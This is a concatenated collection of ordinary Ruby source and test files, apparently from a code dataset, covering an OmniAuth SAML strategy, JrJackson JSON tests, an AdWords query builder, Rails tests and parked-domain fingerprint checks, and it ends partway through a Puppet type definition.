{ :name => 'name', :name_format => 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', :friendly_name => 'Full name' },
{ :name => 'first_name', :name_format => 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', :friendly_name => 'Given name' },
{ :name => 'last_name', :name_format => 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', :friendly_name => 'Family name' }
]
option :attribute_service_name, 'Required attributes'
option :attribute_statements, {
name: ["name"],
email: ["email", "mail"],
first_name: ["first_name", "firstname", "firstName"],
last_name: ["last_name", "lastname", "lastName"]
}
option :slo_default_relay_state
option :uid_attribute
option :idp_slo_session_destroy, proc { |_env, session| session.clear }
def request_phase
authn_request = OneLogin::RubySaml::Authrequest.new
with_settings do |settings|
redirect(authn_request.create(settings, additional_params_for_authn_request))
end
end
def callback_phase
raise OmniAuth::Strategies::SAML::ValidationError.new("SAML response missing") unless request.params["SAMLResponse"]
with_settings do |settings|
# Call a fingerprint validation method if there's one
validate_fingerprint(settings) if options.idp_cert_fingerprint_validator
handle_response(request.params["SAMLResponse"], options_for_response_object, settings) do
super
end
end
rescue OmniAuth::Strategies::SAML::ValidationError
fail!(:invalid_ticket, $!)
rescue OneLogin::RubySaml::ValidationError
fail!(:invalid_ticket, $!)
end
# Obtain an idp certificate fingerprint from the response.
def response_fingerprint
response = request.params["SAMLResponse"]
response = (response =~ /^</) ? response : Base64.decode64(response)
document = XMLSecurity::SignedDocument::new(response)
cert_element = REXML::XPath.first(document, "//ds:X509Certificate", { "ds"=> 'http://www.w3.org/2000/09/xmldsig#' })
base64_cert = cert_element.text
cert_text = Base64.decode64(base64_cert)
cert = OpenSSL::X509::Certificate.new(cert_text)
Digest::SHA1.hexdigest(cert.to_der).upcase.scan(/../).join(':')
end
def other_phase
if request_path_pattern.match(current_path)
@env['omniauth.strategy'] ||= self
setup_phase
if on_subpath?(:metadata)
other_phase_for_metadata
elsif on_subpath?(:slo)
other_phase_for_slo
elsif on_subpath?(:spslo)
other_phase_for_spslo
else
call_app!
end
else
call_app!
end
end
uid do
if options.uid_attribute
ret = find_attribute_by([options.uid_attribute])
if ret.nil?
raise OmniAuth::Strategies::SAML::ValidationError.new("SAML response missing '#{options.uid_attribute}' attribute")
end
ret
else
@name_id
end
end
info do
found_attributes = options.attribute_statements.map do |key, values|
attribute = find_attribute_by(values)
[key, attribute]
end
Hash[found_attributes]
end
extra { { :raw_info => @attributes, :session_index => @session_index, :response_object => @response_object } }
def find_attribute_by(keys)
keys.each do |key|
return @attributes[key] if @attributes[key]
end
nil
end
private
def request_path_pattern
@request_path_pattern ||= %r{\A#{Regexp.quote(request_path)}(/|\z)}
end
def on_subpath?(subpath)
on_path?("#{request_path}/#{subpath}")
end
def handle_response(raw_response, opts, settings)
response = OneLogin::RubySaml::Response.new(raw_response, opts.merge(settings: settings))
response.attributes["fingerprint"] = settings.idp_cert_fingerprint
response.soft = false
response.is_valid?
@name_id = response.name_id
@session_index = response.sessionindex
@attributes = response.attributes
@response_object = response
session["saml_uid"] = @name_id
session["saml_session_index"] = @session_index
yield
end
def slo_relay_state
if request.params.has_key?("RelayState") && request.params["RelayState"] != ""
request.params["RelayState"]
else
slo_default_relay_state = options.slo_default_relay_state
if slo_default_relay_state.respond_to?(:call)
if slo_default_relay_state.arity == 1
slo_default_relay_state.call(request)
else
slo_default_relay_state.call
end
else
slo_default_relay_state
end
end
end
def handle_logout_response(raw_response, settings, request)
# After sending an SP initiated LogoutRequest to the IdP, we need to accept
# the LogoutResponse, verify it, then actually delete our session.
response_options = build_logout_options(request).merge(
matches_request_id: session["saml_transaction_id"]
)
logout_response = OneLogin::RubySaml::Logoutresponse.new(raw_response, settings, response_options)
logout_response.soft = false
logout_response.validate
session.delete("saml_uid")
session.delete("saml_transaction_id")
session.delete("saml_session_index")
redirect(slo_relay_state)
end
def handle_logout_request(raw_request, settings, request)
request_options = build_logout_options(request).merge(
settings: settings
)
logout_request = OneLogin::RubySaml::SloLogoutrequest.new(raw_request, request_options)
if logout_request.is_valid? && (logout_request.name_id == session["saml_uid"] || session["saml_uid"].nil?)
# Actually log out this session
options[:idp_slo_session_destroy].call @env, session, logout_request.name_id
# Generate a response to the IdP.
logout_request_id = logout_request.id
logout_response = OneLogin::RubySaml::SloLogoutresponse.new.create(settings, logout_request_id, nil, RelayState: slo_relay_state)
redirect(logout_response)
else
raise OmniAuth::Strategies::SAML::ValidationError.new("SAML failed to process LogoutRequest")
end
end
def build_logout_options(request)
{
get_params: request.GET.select { |k, _| k == "Signature" },
raw_get_params: Rack::Utils.parse_query(request.query_string, &:itself).select do |k, _|
%w(SAMLRequest SigAlg RelayState).include?(k)
end
}
end
# Create a SP initiated SLO: https://github.com/onelogin/ruby-saml#single-log-out
def generate_logout_request(settings)
logout_request = OneLogin::RubySaml::Logoutrequest.new()
# Since we created a new SAML request, save the transaction_id
# to compare it with the response we get back
session["saml_transaction_id"] = logout_request.uuid
if settings.name_identifier_value.nil?
settings.name_identifier_value = session["saml_uid"]
end
if settings.sessionindex.nil?
settings.sessionindex = session["saml_session_index"]
end
logout_request.create(settings, RelayState: slo_relay_state)
end
def with_settings
options[:assertion_consumer_service_url] ||= callback_url
yield OneLogin::RubySaml::Settings.new(options)
end
def validate_fingerprint(settings)
fingerprint_exists = options.idp_cert_fingerprint_validator[response_fingerprint]
unless fingerprint_exists
raise OmniAuth::Strategies::SAML::ValidationError.new("Non-existent fingerprint")
end
# id_cert_fingerprint becomes the given fingerprint if it exists
settings.idp_cert_fingerprint = fingerprint_exists
end
def options_for_response_object
# filter options to select only extra parameters
opts = options.select {|k,_| RUBYSAML_RESPONSE_OPTIONS.include?(k.to_sym)}
# symbolize keys without activeSupport/symbolize_keys (ruby-saml use symbols)
opts.inject({}) do |new_hash, (key, value)|
new_hash[key.to_sym] = value
new_hash
end
end
def other_phase_for_metadata
with_settings do |settings|
# omniauth does not set the strategy on the other_phase
response = OneLogin::RubySaml::Metadata.new
add_request_attributes_to(settings) if options.request_attributes.length > 0
Rack::Response.new(response.generate(settings), 200, { "Content-Type" => "application/xml" }).finish
end
end
def other_phase_for_slo
with_settings do |settings|
if request.params["SAMLResponse"]
handle_logout_response(request.params["SAMLResponse"], settings, request)
elsif request.params["SAMLRequest"]
handle_logout_request(request.params["SAMLRequest"], settings, request)
else
raise OmniAuth::Strategies::SAML::ValidationError.new("SAML logout response/request missing")
end
end
end
def other_phase_for_spslo
if options.idp_slo_target_url
with_settings do |settings|
redirect(generate_logout_request(settings))
end
else
Rack::Response.new("Not Implemented", 501, { "Content-Type" => "text/html" }).finish
end
end
def add_request_attributes_to(settings)
settings.attribute_consuming_service.service_name options.attribute_service_name
settings.issuer = options.issuer
options.request_attributes.each do |attribute|
settings.attribute_consuming_service.add_attribute attribute
end
end
def additional_params_for_authn_request
{}.tap do |additional_params|
runtime_request_parameters = options.delete(:idp_sso_target_url_runtime_params)
if runtime_request_parameters
runtime_request_parameters.each_pair do |request_param_key, mapped_param_key|
additional_params[mapped_param_key] = request.params[request_param_key.to_s] if request.params.has_key?(request_param_key.to_s)
end
end
end
end
end
end
end
OmniAuth.config.add_camelization 'saml', 'SAML'
| 35.589905 | 141 | 0.654139 |
e8540a374875c63e24a2796438f1451668a168b6 | 628 | require 'spec_helper'
describe Saml::Elements::IdpEntry do
let(:idp_entry) { FactoryBot.build :idp_entry }
describe 'optional fields' do
[:name, :loc].each do |field|
it "should respond to the '#{field}' field" do
expect(subject).to respond_to(field)
end
end
end
describe 'required fields' do
[:provider_id].each do |field|
it "should have the #{field} field" do
expect(subject).to respond_to(field)
end
it "should check the presence of #{field}" do
subject.send("#{field}=", nil)
expect(subject).not_to be_valid
end
end
end
end
| 22.428571 | 52 | 0.627389 |
622d2404abe51b27f3cca947e1be580579ed8024 | 37 | module StudentapplicationsHelper
end
| 12.333333 | 32 | 0.918919 |
ab7de741322f7053ea91ffd0ea44782f07e84b4a | 769 | module Flumtter
plugin do
class self::Buf < Window::Buf::Buf
Options = {count: 50}
def initialize(twitter)
@twitter = twitter
super(Window::DMBase)
end
def prefetch
adds(
@twitter.rest.direct_messages(
@buf.last.nil? ? Options : Options.merge(max_id: @buf.last.id-1)
)
)
end
end
class self::DirectMessage < Window::Buf::Screen
include Command::DM
def initialize(twitter)
super(Plugins::Directmessages::Buf.new(twitter), "#{twitter.account.screen_name}'s DirectMessages")
add_command(twitter)
end
end
Keyboard.add("b", "DirectMessages") do |m, twitter|
self::DirectMessage.new(twitter).show
end
end
end
| 22.617647 | 107 | 0.595579 |
e9717e8e0458f98ad0f0a7ae6b6bc33051e680c7 | 2,651 | # Encoding: utf-8
#
# Copyright:: Copyright 2018, Google Inc. All Rights Reserved.
#
# License:: Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Class to aid in constructing where clauses for reporting and service queries.
module AdwordsApi
class WhereBuilder
attr_reader :awql
def initialize(field)
@field = field
@awql = nil
end
def equal_to(value)
@awql = sprintf("%s = %s", @field, value)
end
def not_equal_to(value)
@awql = sprintf("%s != %s", @field, value)
end
def greater_than(value)
@awql = sprintf("%s > %s", @field, value)
end
def greater_than_or_equal_to(value)
@awql = sprintf("%s >= %s", @field, value)
end
def less_than(value)
@awql = sprintf("%s < %s", @field, value)
end
def less_than_or_equal_to(value)
@awql = sprintf("%s <= %s", @field, value)
end
def starts_with(value)
@awql = sprintf("%s STARTS_WITH %s", @field, value)
end
def starts_with_ignore_case(value)
@awql = sprintf("%s STARTS_WITH_IGNORE_CASE %s", @field, value)
end
def contains(value)
@awql = sprintf("%s CONTAINS %s", @field, value)
end
def contains_ignore_case(value)
@awql = sprintf("%s CONTAINS_IGNORE_CASE %s", @field, value)
end
def does_not_contain(value)
@awql = sprintf("%s DOES_NOT_CONTAIN %s", @field, value)
end
def does_not_contain_ignore_case(value)
@awql = sprintf("%s DOES_NOT_CONTAIN_IGNORE_CASE %s", @field, value)
end
def in(*values)
@awql = sprintf("%s IN [%s]", @field, values.join(','))
end
def not_in(*values)
@awql = sprintf("%s NOT_IN [%s]", @field, values.join(','))
end
def contains_any(*values)
@awql = sprintf("%s CONTAINS_ANY [%s]", @field, values.join(','))
end
def contains_none(*values)
@awql = sprintf("%s CONTAINS_NONE [%s]", @field, values.join(','))
end
def contains_all(*values)
@awql = sprintf("%s CONTAINS_ALL [%s]", @field, values.join(','))
end
end
end
| 27.05102 | 79 | 0.617126 |
6aa3e729db59cec592f0d21592f89e8f750c1dd3 | 17,183 | # encoding: UTF-8
$LOAD_PATH << File.expand_path('../../lib', __FILE__)
require "java"
require 'securerandom'
require 'test/unit'
require 'thread'
require 'bigdecimal'
require 'jrjackson'
require 'stringio'
require 'time'
require 'date'
class JrJacksonTest < Test::Unit::TestCase
class Test::Unit::CustomObj
end
class Test::Unit::NullObj < BasicObject
def nil?() true; end
end
class ToJsonData
attr_reader :one, :two, :six
def initialize(a,b,c)
@one, @two, @six = a,b,c
end
def to_h
{'one' => one, 'two' => two, 'six' => six}
end
def to_json_data
[one, two, six]
end
end
class CustomToH
attr_accessor :one, :two, :six
def initialize(a,b,c)
@one, @two, @six = a,b,c
end
def to_h
{'one' => one, 'two' => two, 'six' => six}
end
end
class CustomToHash
attr_accessor :one, :two, :six
def initialize(a,b,c)
@one, @two, @six = a,b,c
end
def to_hash
{'one' => one, 'two' => two, 'six' => six}
end
end
class CustomToJson
attr_accessor :one, :two, :six
def initialize(a,b,c)
@one, @two, @six = a,b,c
end
def to_json
%Q|{"one":#{one},"two":#{two},"six":#{six}}|
end
end
class CustomToTime
def initialize(tm = Time.now)
@now = tm
end
def to_time
@now.to_time.utc
end
end
CustomStruct = Struct.new(:one, :two, :six)
class StrangeError < RuntimeError
end
class ScHandler
attr_accessor :calls
def initialize(arr = [])
@calls = arr
end
def hash_start()
@calls << [:hash_start]
{}
end
def hash_end()
@calls << [:hash_end]
end
def hash_key(key)
@calls << [:hash_key, key]
return 'too' if 'two' == key
return :symbol if 'symbol' == key
key
end
def array_start()
@calls << [:array_start]
[]
end
def array_end()
@calls << [:array_end]
end
def add_value(value)
@calls << [:add_value, value]
end
def hash_set(h, key, value)
# h[key] = value
@calls << [:hash_set, key, value]
end
def array_append(a, value)
# a.push(value)
@calls << [:array_append, value]
end
end
JsonString = %Q|{
"array": [
{
"num" : 3,
"string": "message",
"hash" : {
"h2" : {
"a" : [ 1, 2, 3 ]
}
}
}
],
"boolean" : true
}|
def test_sc_parse
array = []
handler = ScHandler.new(array)
JrJackson::Json.sc_load(handler, JsonString)
assert_equal(
[
[:hash_start],
[:array_start],
[:hash_start],
[:hash_key, 'num'],
[:hash_set, "num", 3],
[:hash_key, 'string'],
[:hash_set, "string", "message"],
[:hash_start],
[:hash_start],
[:array_start],
[:array_append, 1],
[:array_append, 2],
[:array_append, 3],
[:array_end],
[:hash_key, "a"],
[:hash_set, "a", []],
[:hash_end],
[:hash_key, "h2"],
[:hash_set, "h2", {}],
[:hash_end],
[:hash_key, "hash"],
[:hash_set, "hash", {}],
[:hash_end],
[:array_append, {}],
[:array_end],
[:hash_key, "array"],
[:hash_set, "array", []],
[:hash_key, 'boolean'],
[:hash_set, "boolean", true],
[:hash_end],
[:add_value, {}]
],
handler.calls
)
end
class SjHandler
attr_reader :calls
def initialize(arr = []) @calls = arr; end
def hash_start(key) @calls << [:hash_start, key]; end
def hash_end(key) @calls << [:hash_end, key]; end
def array_start(key) @calls << [:array_start, key]; end
def array_end(key) @calls << [:array_end, key]; end
def add_value(value, key) @calls << [:add_value, value, key]; end
def error(message, line, column) @calls << [:error, message, line, column]; end
end
def test_sj_parse
handler = SjHandler.new()
JrJackson::Json.sj_load(handler, JsonString)
assert_equal(
[
[:hash_start, nil],
[:array_start, 'array'],
[:hash_start, nil],
[:add_value, 3, 'num'],
[:add_value, 'message', 'string'],
[:hash_start, 'hash'],
[:hash_start, 'h2'],
[:array_start, 'a'],
[:add_value, 1, nil],
[:add_value, 2, nil],
[:add_value, 3, nil],
[:array_end, 'a'],
[:hash_end, 'h2'],
[:hash_end, 'hash'],
[:hash_end, nil],
[:array_end, 'array'],
[:add_value, true, 'boolean'],
[:hash_end, nil]
],
handler.calls
)
end
def test_to_json_data
object = ToJsonData.new("uno", :two, 6.0)
expected = "[1,[\"uno\",\"two\",6.0]]"
actual = JrJackson::Json.dump([1, object])
assert_equal expected, actual
end
def test_datetime
h = {datetime: DateTime.parse("2014-01-27T18:24:46+01:00")}
expected = '{"datetime":"2014-01-27 17:24:46 +0000"}'
actual = JrJackson::Json.dump(h)
assert_equal expected, actual
end
def test_dump_date_in_array
expected = "[\"2016-04-10\"]"
td = Date.new(2016, 4, 10)
actual = JrJackson::Json.generate([td])
assert_equal(actual, expected)
end
def test_threading
q1, q2, q3 = Queue.new, Queue.new, Queue.new
s1 = %Q|{"a":2.5, "b":0.214, "c":3.4567, "d":-3.4567}|
th1 = Thread.new(s1) do |string|
q1 << JrJackson::Json.load(string, {use_bigdecimal: true, raw: true})
end
th2 = Thread.new(s1) do |string|
q2 << JrJackson::Json.load(string, {use_bigdecimal: true, symbolize_keys: true})
end
th3 = Thread.new(s1) do |string|
q3 << JrJackson::Json.load(string, {use_bigdecimal: false, symbolize_keys: true})
end
a1, a2, a3 = q1.pop, q2.pop, q3.pop
assert_equal ["a", "b", "c", "d"], a1.keys
assert a1.values.all? {|v| v.is_a?(Java::JavaMath::BigDecimal)}, "Expected all values to be Java::JavaMath::BigDecimal"
assert_equal [:a, :b, :c, :d], a2.keys
assert a2.values.all? {|v| v.is_a?(BigDecimal)}, "Expected all values to be BigDecimal"
assert a3.values.all? {|v| v.is_a?(Float)}, "Expected all values to be Float"
end
def test_deserialize_JSON_with_UTF8_characters
json_string = JrJackson::Json.dump({"utf8" => "żółć"})
expected = {utf8: "żółć"}
actual = JrJackson::Json.load(json_string, :symbolize_keys => true)
assert_equal expected, actual
end
def test_deserialize_JSON_with_two_entries
json_string = JrJackson::Json.dump({'foo' => 'foo_value', 'bar' => 'bar_value'})
expected = {foo: 'foo_value', bar: 'bar_value'}
actual = JrJackson::Json.load(json_string, :symbolize_keys => true)
assert_equal expected, actual
end
def test_serialize_non_json_datatypes_as_values
dt = Time.now.utc
today = Date.today
co1 = CustomToH.new("uno", :two, 6.0)
co2 = CustomToHash.new("uno", :two, 6.0)
co3 = CustomToJson.new(1.0, 2, 6.0)
co4 = CustomStruct.new(1, 2, 6)
co5 = CustomToTime.new(today)
source = {'sym' => :a_symbol, 'dt' => dt, 'co1' => co1, 'co2' => co2, 'co3' => co3, 'co4' => co4, 'co5' => co5}
json_string = JrJackson::Json.dump(source)
expected = {
:sym => "a_symbol",
:dt => dt.strftime('%F %T %z'),
:co1 => {:one => "uno", :two => "two", :six => 6.0 },
:co2 => {:one => "uno", :two => "two", :six => 6.0 },
:co3 => {:one => 1.0, :two => 2.0, :six => 6.0 },
:co4 => [1, 2, 6],
:co5 => today.to_time.utc.strftime('%F %T %z')
}
actual = JrJackson::Json.load(json_string, :symbolize_keys => true)
assert_equal expected, actual
end
def test_raw_serialize_base_classes
# String
assert_equal JrJackson::Json.dump("foo"), "\"foo\""
# Hash and implementations of the Java Hash interface
assert_equal JrJackson::Json.dump({"foo" => 1}), "{\"foo\":1}"
assert_equal JrJackson::Json.dump(Java::JavaUtil::HashMap.new({"foo" => 1})), "{\"foo\":1}"
assert_equal JrJackson::Json.dump(Java::JavaUtil::LinkedHashMap.new({"foo" => 1})), "{\"foo\":1}"
# Array and implementations of the Java List interface
assert_equal JrJackson::Json.dump(["foo", 1]), "[\"foo\",1]"
assert_equal JrJackson::Json.dump(Java::JavaUtil::ArrayList.new(["foo", 1])), "[\"foo\",1]"
assert_equal JrJackson::Json.dump(Java::JavaUtil::LinkedList.new(["foo", 1])), "[\"foo\",1]"
assert_equal JrJackson::Json.dump(Java::JavaUtil::Vector.new(["foo", 1])), "[\"foo\",1]"
# true/false
assert_equal JrJackson::Json.dump(true), "true"
assert_equal JrJackson::Json.dump(false), "false"
# nil
assert_equal JrJackson::Json.dump(nil), "null"
end
def test_serialize_date
# default date format
time_string = "2014-06-10 18:18:40 EDT"
source_time = Time.parse(time_string)
serialized_output = JrJackson::Json.dump({"time" => source_time})
other_time = Time.parse(serialized_output.split('"')[-2])
assert_equal other_time.to_f, source_time.to_f
end
def test_serialize_date_date_format
time = Time.new(2014,6,10,18,18,40, "-04:00")
# using date_format option
assert_equal "{\"time\":\"2014-06-10\"}", JrJackson::Json.dump({"time" => time}, :date_format => "yyyy-MM-dd")
assert_match(/\{"time"\:"\d{4}-\d\d-\d\dT\d\d:\d\d:\d\d\.\d{3}[+-]\d{4}"\}/, JrJackson::Json.dump({"time" => time}, :date_format => "yyyy-MM-dd'T'HH:mm:ss.SSSZ"))
end
def test_serialize_date_date_format_timezone
time = Time.new(2014,6,10,18,18,40, "-04:00")
# using date_format and timezone options
assert_equal "{\"time\":\"2014-06-10T22:18:40.000+0000\"}", JrJackson::Json.dump({"time" => time}, :date_format => "yyyy-MM-dd'T'HH:mm:ss.SSSZ", :timezone => "UTC")
# iso8601 date_format and timezone
assert_equal "{\"time\":\"2014-06-10T22:18:40.000Z\"}", JrJackson::Json.dump({"time" => time}, :date_format => "yyyy-MM-dd'T'HH:mm:ss.SSSX", :timezone => "UTC")
end
def test_can_parse_returning_java_objects
expected = {"arr"=>[2, 3, 4],
"flo"=>0.333E1,
"moo"=>"bar",
"utf8"=>"żółć",
"zzz"=>{"bar"=>-9}}
json = '{"utf8":"żółć", "moo": "bar", "zzz": {"bar":-9}, "arr": [2,3,4], "flo": 3.33}'
actual = JrJackson::Json.parse_java(json)
assert_equal Java::JavaUtil::HashMap, actual.class
assert_equal Java::JavaUtil::ArrayList, actual["arr"].class
assert_equal Java::JavaMath::BigDecimal, actual["flo"].class
assert_equal "3.33", actual["flo"].to_s
assert_equal "bar", actual["moo"]
assert_equal "żółć", actual["utf8"]
assert_equal Java::JavaUtil::HashMap, actual["zzz"].class
if 1.class == Integer
# avoid deprecation warning as Ruby 2.4 unifies Fixnum and Bignum into Integer
assert_equal Integer, actual["zzz"]["bar"].class
else
assert_equal Bignum, actual["zzz"]["bar"].class
end
assert_equal(-9, actual["zzz"]["bar"])
end
def test_can_parse_returning_ruby_objects_string_keys
expected = {
"a"=>"żółć", # string
"b"=>true, # boolean
"c"=>12345, # number
"d"=>
[true,
[false,
[-123456789, nil],
0.39676E1,
["Something else.", false],
nil]], # mix it up array
"e"=>{"zero"=>nil, "one"=>1, "two"=>2, "three"=>[3], "four"=>[0, 1, 2, 3, 4]}, # hash
"żółć"=>nil,# nil
"h"=>{"a"=>{"b"=>{"c"=>{"d"=>{"e"=>{"f"=>{"g"=>nil}}}}}}},# deep hash, not that deep
"i"=>[[[[[[[nil]]]]]]] # deep array, again, not that deep
}
json = JrJackson::Json.dump(expected)
actual = JrJackson::Json.parse_ruby(json)
assert_equal expected, actual
actual = JrJackson::Ruby.parse(json, {})
assert_equal expected, actual
end
def test_can_parse_returning_ruby_objects_symbol_keys
expected = {:a=>"Alpha",
:b=>true,
:c=>12345,
:d=>
[true, [false, [-123456789, nil], 3.9676, ["Something else.", false], nil]],
:e=>{:zero=>nil, :one=>1, :two=>2, :three=>[3], :four=>[0, 1, 2, 3, 4]},
:f=>nil,
:h=>{:a=>{:b=>{:c=>{:d=>{:e=>{:f=>{:g=>nil}}}}}}},
:i=>[[[[[[[nil]]]]]]]
}
json = JrJackson::Json.dump(expected)
actual = JrJackson::Ruby.parse_sym(json, {})
assert_equal expected, actual
end
def test_can_parse_nulls
expected = {"foo" => nil}
json = '{"foo":null}'
actual = JrJackson::Json.parse(json)
assert_equal expected, actual
end
def test_stringio
expected = {"foo" => 5, "utf8" => "żółć"}
json = ::StringIO.new('{"foo":5, "utf8":"żółć"}')
actual = JrJackson::Json.load_ruby(json)
assert_equal expected, actual
end
def test_ruby_io
expected = {"foo" => 5, "bar" => 6, "utf8" => "żółć"}
json, w = IO.pipe
w.write('{"foo":5, "bar":6, "utf8":"żółć"}')
w.close
actual = JrJackson::Json.load(json)
assert_equal expected, actual
end
def test_bad_utf
assert_raise JrJackson::ParseError do
JrJackson::Json.load("\x82\xAC\xEF")
end
end
def test_can_parse_bignum
expected = 12345678901234567890123456789
json = '{"foo":12345678901234567890123456789}'
actual = JrJackson::Json.parse(json)['foo']
assert_equal expected, actual
end
def test_can_parse_big_decimals
expected = BigDecimal('0.12345678901234567890123456789')
json = '{"foo":0.12345678901234567890123456789}'
actual = JrJackson::Json.parse(json, :use_bigdecimal => true)['foo']
assert_bigdecimal_equal expected, actual
actual = JrJackson::Json.parse(json, :use_bigdecimal => true, :symbolize_keys => true)[:foo]
assert_bigdecimal_equal expected, actual
actual = JrJackson::Java.parse(json, {})['foo']
assert_bigdecimal_similar expected, actual
actual = JrJackson::Json.parse(json, :use_bigdecimal => true, :raw => true)['foo']
assert_bigdecimal_similar expected, actual
end
def test_can_serialize_object
obj = Object.new
actual = JrJackson::Json.dump({"foo" => obj})
assert_equal "{\"foo\":\"#{obj}\"}", actual
end
def test_can_serialize_basic_object
obj = BasicObject.new
actual = JrJackson::Json.dump({"foo" => obj})
assert_equal "{\"foo\":\"#<BasicObject>\"}", actual
end
def test_can_serialize_basic_object_subclass
obj = Test::Unit::NullObj.new
actual = JrJackson::Json.dump({"foo" => obj})
assert_equal "{\"foo\":\"#<Test::Unit::NullObj>\"}", actual
end
def test_can_serialize_custom_object
obj = Test::Unit::CustomObj.new
actual = JrJackson::Json.dump({"foo" => obj})
assert_equal "{\"foo\":\"#{obj}\"}", actual
end
def test_supports_pretty_printing
object = {"foo" => 5, "utf8" => "żółć"}
actual = JrJackson::Json.dump(object, :pretty => true)
assert_equal "{\n \"foo\" : 5,\n \"utf8\" : \"żółć\"\n}", actual
end
def test_can_serialise_non_string_keys
object = {5 => "foo"}
actual = JrJackson::Json.dump(object)
assert_equal "{\"5\":\"foo\"}", actual
end
def test_can_serialise_regex_match_data
re = %r|(foo)(bar)(baz)|
m = re.match('foobarbaz')
object = {'matched' => m[2]}
actual = JrJackson::Json.dump(object)
assert_equal "{\"matched\":\"bar\"}", actual
end
def test_can_mix_java_and_ruby_objects
json = '{"utf8":"żółć", "moo": "bar", "arr": [2,3,4], "flo": 3.33}'
timeobj = Time.new(2015,11,11,11,11,11,0).utc
expected = '{"mixed":{"arr":[2,3,4],"utf8":"żółć","flo":3.33,"zzz":{"one":1.0,"two":2,"six":6.0},"moo":"bar"},"time":"2015-11-11 11:11:11 +0000"}'
object = JrJackson::Json.parse_java(json)
object["zzz"] = CustomToJson.new(1.0, 2, 6.0)
mixed = {"mixed" => object}
mixed['time'] = timeobj
actual = JrJackson::Json.dump(mixed)
assert_equal expected, actual
end
def test_can_serialize_exceptions
e = StrangeError.new("Something immensely bad happened")
object = {'error' => e}
actual = JrJackson::Json.dump(object)
assert_equal "{\"error\":\"#{e.inspect}\"}", actual
end
def test_can_serialize_class
object = {"foo" => BasicObject}
actual = JrJackson::Json.dump(object)
assert_equal "{\"foo\":\"#{BasicObject.inspect}\"}", actual
end
def test_can_handle_big_numbers
object = {"foo" => 2**63, "bar" => 65536}
actual = JrJackson::Json.dump(object)
assert_equal "{\"foo\":9223372036854775808,\"bar\":65536}", actual
end
# This test failed more often than not before fixing the underlying code
# and would fail every time if `100_000.times` was changed to `loop`
def test_concurrent_dump
now = Time.now
num_threads = 100
threads = num_threads.times.map do |i|
Thread.new do
100_000.times { JrJackson::Json.dump("a" => now) }
end
end
threads.each(&:join)
end
# -----------------------------
def assert_bigdecimal_equal(expected, actual)
assert_equal expected, actual
assert_equal expected.class, actual.class
assert_equal BigDecimal, actual.class
end
def assert_bigdecimal_similar(expected, actual)
assert_equal BigDecimal(expected.to_s).round(11), BigDecimal(actual.to_s).round(11)
assert_equal Java::JavaMath::BigDecimal, actual.class
end
end
| 29.677029 | 168 | 0.593261 |
7914d83da1adfffd27ca1d105c0809e9c7aea400 | 1,256 | require 'test_helper'
class UsersEditTest < ActionDispatch::IntegrationTest
def setup
@user = users(:michael)
end
test "unsuccessful edit" do
log_in_as(@user)
get edit_user_path(@user)
assert_template 'users/edit'
patch user_path(@user), params: { user: { name: "",
email: "foo@invalid",
password: "foo",
password_confirmation: "bar" } }
assert_template 'users/edit'
assert_select "div.alert", "The form contains 4 errors"
end
test "successful edit with friendly forwarding" do
get edit_user_path(@user)
log_in_as(@user)
assert_redirected_to edit_user_url(@user)
assert session[:forwarding_url].nil?
name = "Foo Bar"
email = "[email protected]"
patch user_path(@user), params: { user: { name: name,
email: email,
password: "",
password_confirmation: "" } }
assert_not flash.empty?
assert_redirected_to @user
@user.reload
assert_equal name, @user.name
assert_equal email, @user.email
end
end
| 33.052632 | 78 | 0.538217 |
5d29bb79f22513289ca1af0b117aff428999b336 | 661 | module Mailkick
module Model
def has_subscriptions
class_eval do
has_many :mailkick_subscriptions, class_name: "Mailkick::Subscription", as: :subscriber
scope :subscribed, -> (list) { joins(:mailkick_subscriptions).where(mailkick_subscriptions: {list: list}) }
def subscribe(list)
mailkick_subscriptions.where(list: list).first_or_create!
nil
end
def unsubscribe(list)
mailkick_subscriptions.where(list: list).delete_all
nil
end
def subscribed?(list)
mailkick_subscriptions.where(list: list).exists?
end
end
end
end
end
| 26.44 | 115 | 0.641452 |
21250c8c182ac9a45f9f13c5ac8775226b6cc499 | 237 | # typed: false
class CreateSpellBooks < ActiveRecord::Migration[5.0]
def change
create_table :spell_books do |t|
t.string :name
t.references :wizard
t.integer :book_type, null: false, default: 0
end
end
end
| 21.545455 | 53 | 0.675105 |
5d2e42c2a64e676bebdb65cc556162fc72742926 | 565 | require 'rails_helper'
RSpec.describe ImportEntriesController, type: :controller do
let(:import_entry) { fixture_file_upload("files/import_entry_abc_fixture.csv", "text/csv")}
let(:valid_session) { {} }
describe 'POST #create' do
context 'with valid params' do
it "redirects to the entries index" do
post :create,
{ import_csv_entries: {
file: import_entry, account_id: "100"
}
},
valid_session
expect(response).to redirect_to(transactions_path)
end
end
end
end
| 25.681818 | 93 | 0.637168 |
0144a5f1a6a8f1d2fe56198fd832d6bec38bc6b7 | 1,410 | module Intrigue
module Ident
module Check
class ParkingCrew < Intrigue::Ident::Check::Base
def generate_checks(url)
[
{
:type => "fingerprint",
:category => "service",
:tags => ["Parked"],
:vendor => "ParkingCrew",
:product => "ParkingCrew",
:website => "http://www.parkingcrew.net/",
:references => [],
:version => nil,
:match_type => :content_body,
:match_content => /inquire\ about\ this\ domain/i,
:match_details => "inquire\ about\ this\ domain",
:hide => false,
:paths => ["#{url}"],
:inference => false
},
{
:type => "fingerprint",
:category => "service",
:tags => ["Parked"],
:vendor => "ParkingCrew",
:product => "ParkingCrew",
:website => "http://www.parkingcrew.net/",
:references => [],
:version => nil,
:match_type => :content_body,
:match_content => /The\ Sponsored\ Listings\ displayed\ above\ are\ served\ automatically\ by\ a\ third\ party/i,
:match_details => "The\ Sponsored\ Listings\ displayed\ above\ are\ served\ automatically\ by\ a\ third\ party",
:hide => false,
:paths => ["#{url}"],
:inference => false
}
]
end
end
end
end
end
| 29.375 | 123 | 0.495035 |
21904a2118cc5ea1d172f149d65bfb158b3064c9 | 456 | Puppet::Type.newtype(:odl_user) do
ensurable
newparam(:username, :namevar => true) do
desc "Username to configure in ODL IDM with admin role"
newvalues(/^\w+$/)
end
newproperty(:password) do
desc "Password for this user"
validate do |value|
